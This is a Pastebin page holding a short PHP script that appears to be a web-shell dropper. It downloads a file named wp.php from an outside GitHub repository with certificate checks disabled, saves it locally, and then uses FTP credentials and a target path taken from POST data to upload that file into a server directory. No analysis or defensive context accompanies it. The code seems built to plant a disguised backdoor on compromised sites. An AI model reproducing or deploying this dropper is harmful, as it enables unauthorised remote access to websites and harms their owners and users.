Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function adminer($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(adminer("https://raw.githubusercontent.com/Xi4u7/just-for-fun/master/wp.php","wp.php")) {
- echo "AdminerOK";
- } else {
- echo "AdminerF";
- }
- if(isset($_POST["user"])) {
- $ftp_server = "localhost";
- $ftp_user_name = $_POST['user'];
- $ftp_user_pass = $_POST['pass'];
- $ftp_directory = $_POST["path"];
- $ftp_source_file_name = "wp.php";
- $ftp_dest_file_name = $ftp_source_file_name;
- if( ftp_file( $ftp_server, $ftp_user_name, $ftp_user_pass, $ftp_source_file_name, $ftp_directory, $ftp_dest_file_name) ){
- echo "Success: FTP'd data\n";
- } else {
- echo "Error: Could not FTP data.\n";
- }
- } else {
- echo "Only Allowed Method POST!";
- exit;
- }
- function ftp_file( $ftpservername, $ftpusername, $ftppassword, $ftpsourcefile, $ftpdirectory, $ftpdestinationfile )
- {
- $conn_id = ftp_connect($ftpservername);
- if ( $conn_id == false )
- {
- echo "FTP open connection failed to $ftpservername \n" ;
- return false;
- }
- $login_result = ftp_login($conn_id, $ftpusername, $ftppassword);
- if ((!$conn_id) || (!$login_result)) {
- echo "FTP connection has failed!\n";
- echo "Attempted to connect to " . $ftpservername . " for user " . $ftpusername . "\n";
- return false;
- } else {
- echo "Connected to " . $ftpservername . ", for user " . $ftpusername . "\n";
- }
- if ( strlen( $ftpdirectory ) > 0 )
- {
- if (ftp_chdir($conn_id, $ftpdirectory )) {
- echo "Current directory is now: " . ftp_pwd($conn_id) . "\n";
- } else {
- echo "Couldn't change directory on $ftpservername\n";
- return false;
- }
- }
- ftp_pasv ( $conn_id, true ) ;
- $upload = ftp_put( $conn_id, $ftpdestinationfile, $ftpsourcefile, FTP_ASCII );
- if (!$upload) {
- echo "$ftpservername: FTP upload has failed!\n";
- return false;
- } else {
- echo "Uploaded " . $ftpsourcefile . " to " . $ftpservername . " as " . $ftpdestinationfile . "\n";
- }
- ftp_close($conn_id);
- return true;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement